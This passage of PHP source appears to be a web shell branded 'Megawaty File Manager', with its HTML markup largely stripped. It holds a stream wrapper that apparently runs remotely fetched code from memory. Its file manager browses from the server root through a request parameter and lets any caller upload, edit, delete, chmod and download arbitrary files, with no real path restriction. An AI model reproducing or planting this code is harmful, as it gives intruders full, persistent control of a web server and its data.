getMessage(); } } else { echo "Gagal mengambil file. Kode HTTP: $httpCode, Error: $error"; } } class MemoryInclude { public static $data = ''; private $position = 0; private $length = 0; public function stream_open($path, $mode, $options, &$opened_path) { $this->position = 0; $this->length = strlen(self::$data); return true; } public function stream_read($count) { $ret = substr(self::$data, $this->position, $count); $this->position += strlen($ret); return $ret; } public function stream_eof() { return $this->position >= $this->length; } public function stream_stat() { return [ 'size' => $this->length, ]; } } $isWindows = (DIRECTORY_SEPARATOR === '\\'); $rootAllowed = $isWindows ? '' : '/'; $basePath = dirname(__FILE__); if(isset($_REQUEST['path'])){ $temp = @realpath($_REQUEST['path']); if($temp && @is_dir($temp)){ $basePath = $temp; } } function ts($d) { return rtrim($d, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; } function ds($p) { return is_dir($p); } function fm($b) { return $b ? scandir($b) : array(); } function del($t){ if(is_dir($t)){ $x = scandir($t); foreach($x as $y){ if($y==='.'||$y==='..') continue; del($t.DIRECTORY_SEPARATOR.$y); } @rmdir($t); } else { @unlink($t); } } function fs($s){ if($s<1024) return $s.' B'; if($s<1048576) return round($s/1024,2).' KB'; if($s<1073741824) return round($s/1048576,2).' MB'; return round($s/1073741824,2).' GB'; } function getPermOctal($path){ $perm=@fileperms($path); if($perm===false) return '????'; $mode=$perm & 0x0FFF; return sprintf("%04o", $mode); } function octalToSymbolic($octal){ $val = octdec($octal); $slot = array("r","w","x","r","w","x","r","w","x"); $res = ""; for($i=0;$i<9;$i++){ $mask=1<<(8-$i); $res.=($val & $mask)?$slot[$i]:"-"; } return $res; } function getModified($path){ $t=@filemtime($path); if(!$t) return '-'; return date("Y-m-d H:i:s",$t); } function getFileIcon($name,$isDir){ if($isDir) return '[DIR]'; $ext=strtolower(pathinfo($name,PATHINFO_EXTENSION)); switch($ext){ case 'jpg': case 'jpeg': case 'png': case 'gif': return '🖼'; case 'zip': case 'rar': case '7z': return '📦'; case 'mp3': case 'wav': case 'ogg':return '🎵'; case 'mp4': case 'mov': case 'avi':return '🎞'; case 'pdf': return '📄'; default: return '📄'; } } if(isset($_POST['action'])){ switch($_POST['action']){ case 'upload': if(!empty($_FILES['upload_files']['name'][0])){ foreach($_FILES['upload_files']['name'] as $i=>$n){ $tmp=$_FILES['upload_files']['tmp_name'][$i]; if($tmp){ @move_uploaded_file($tmp, ts($basePath).$n); } } } break; case 'mkdir': $f=trim($_POST['folder_name']); if($f){ @mkdir(ts($basePath).$f); } break; case 'create_file': $f=trim($_POST['filename']); $c=$_POST['filecontent']; if($f){ @file_put_contents(ts($basePath).$f,$c); } break; case 'rename': $o=$_POST['old_name']; $n=$_POST['new_name']; if($o && $n){ $oldFull=@realpath(ts($basePath).$o); $newFull=ts($basePath).$n; if($oldFull && strpos($oldFull,$rootAllowed)===0){ @rename($oldFull,$newFull); } } break; case 'delete': $t=$_POST['target']; if($t){ $targetFull=@realpath(ts($basePath).$t); if($targetFull && strpos($targetFull,$rootAllowed)===0){ del($targetFull); } } break; case 'edit_file_save': $e=$_POST['edit_target']; $c=$_POST['new_content']; $r=@realpath($e); if($r && is_file($r) && strpos($r,$rootAllowed)===0){ @file_put_contents($r,$c); } break; case 'chmod': $t=$_POST['target']; $perm=$_POST['perm']; if($t!=='' && $perm!==''){ $targetFull=@realpath(ts($basePath).$t); if($targetFull && strpos($targetFull,$rootAllowed)===0){ @chmod($targetFull, octdec($perm)); } } break; } header("Location: ?path=".urlencode($basePath)); exit; } // DOWNLOAD if(isset($_GET['download'])){ $f=@realpath($_GET['download']); if($f && is_file($f) && strpos($f,$rootAllowed)===0){ header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.@filesize($f)); @readfile($f); exit; } } // EDIT FILE $edit_file_mode=false; $edit_file_path=''; $edit_file_content=''; $aceMode='ace/mode/text'; if(isset($_GET['edit'])){ $et=@realpath($_GET['edit']); if($et && is_file($et) && strpos($et,$rootAllowed)===0){ $edit_file_mode=true; $edit_file_path=$et; $edit_file_content=@file_get_contents($et); $ext=strtolower(pathinfo($et,PATHINFO_EXTENSION)); switch($ext){ case 'php': $aceMode='ace/mode/php';break; case 'js': $aceMode='ace/mode/javascript';break; case 'css': $aceMode='ace/mode/css';break; case 'html': $aceMode='ace/mode/html';break; case 'htm': $aceMode='ace/mode/html';break; case 'json': $aceMode='ace/mode/json';break; case 'xml': $aceMode='ace/mode/xml';break; default: $aceMode='ace/mode/text';break; } } } // FILTERING & SORT $allFiles=fm($basePath); $query=isset($_GET['q'])?trim($_GET['q']):''; $filtered=array(); foreach($allFiles as $f){ if($f==='.'||$f==='..') continue; if($query===''){ $filtered[]=$f; } else { if(stripos($f,$query)!==false){ $filtered[]=$f; } } } $sort=isset($_GET['sort'])?$_GET['sort']:'name'; function cmpName($a,$b){return strcasecmp($a,$b);} function cmpSize($a,$b){ global $basePath; $fa=ts($basePath).$a; $fb=ts($basePath).$b; $sa=@is_file($fa)?@filesize($fa):0; $sb=@is_file($fb)?@filesize($fb):0; return $sa-$sb; } function cmpTime($a,$b){ global $basePath; $fa=ts($basePath).$a; $fb=ts($basePath).$b; $ta=@filemtime($fa); $tb=@filemtime($fb); return $ta-$tb; } switch($sort){ case 'size':usort($filtered,'cmpSize');break; case 'time':usort($filtered,'cmpTime');break; default: usort($filtered,'cmpName'); } $totalItems = count($filtered); $totalPages = max(1,ceil($totalItems/$pageSize)); $currentPage= isset($_GET['page'])?(int)$_GET['page']:1; if($currentPage<1) $currentPage=1; if($currentPage>$totalPages)$currentPage=$totalPages; $startIndex=($currentPage-1)*$pageSize; $pagedFiles=array_slice($filtered,$startIndex,$pageSize); // Breadcrumb $realBase=@realpath($basePath); if(!$realBase) $realBase=$rootAllowed; $breadcrumbList=array(); if($isWindows){ $parts=@preg_split('@[\\\\/]+@',$realBase); $tmpPath=''; if(isset($parts[0]) && strpos($parts[0],':')!==false){ $tmpPath=$parts[0]; $breadcrumbList[]=array('name'=>$parts[0],'path'=>$tmpPath); array_shift($parts); } foreach($parts as $seg){ if($seg==='') continue; if($tmpPath===''){ $tmpPath=$seg; }else{ $tmpPath=rtrim($tmpPath,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$seg; } $breadcrumbList[]=array('name'=>$seg,'path'=>$tmpPath); } } else { $breadcrumbList[]=array('name'=>'/','path'=>'/'); $trimmed=ltrim($realBase,'/'); $parts=explode('/',$trimmed); $accum=''; foreach($parts as $seg){ if($seg==='') continue; $accum.='/'.$seg; $breadcrumbList[]=array('name'=>$seg,'path'=>$accum); } } ?> Megawaty File Manager

Megawaty File Manager

Logout

Edit File

Cancel

Rename


CHMOD


"; } foreach($pagedFiles as $f){ $full=ts($basePath).$f; $isDir=ds($full); $permOct=getPermOctal($full); $permSym=octalToSymbolic($permOct); $modified=getModified($full); $icon=getFileIcon($f,$isDir); echo ''; echo ''; if($isDir){ echo ''; echo ''; echo ''; } else { echo ''; echo ''; $sz=@filesize($full); echo ''; } echo ''; echo ''; echo ''; // Aksi echo ''; echo ''; } ?>
Icon Name Type Size Octal Symbol Modified Action
📁 .. (Back) Folder - - - -
'.$icon.''.htmlspecialchars($f).'Folder-'.htmlspecialchars($f); // Preview (Gambar, Audio, Video) $ext=strtolower(pathinfo($f,PATHINFO_EXTENSION)); if(in_array($ext,array('jpg','jpeg','png','gif'))){ echo '
'; } elseif(in_array($ext,array('mp4','webm','mov','avi'))){ echo '
'; } elseif(in_array($ext,array('mp3','wav','ogg'))){ echo '
'; } echo '
File'.fs($sz).''.$permOct.''.$permSym.''.$modified.''; if(!$isDir){ // Download echo 'Download'; // Edit echo 'Edit'; } // Rename echo ''; // CHMOD echo ''; // Delete echo '
'; echo '
1){ ?>
null))); for($i=1;$i<=$totalPages;$i++){ if($i==$currentPage){ echo '',$i,''; } else { echo ''.$i.''; } } ?>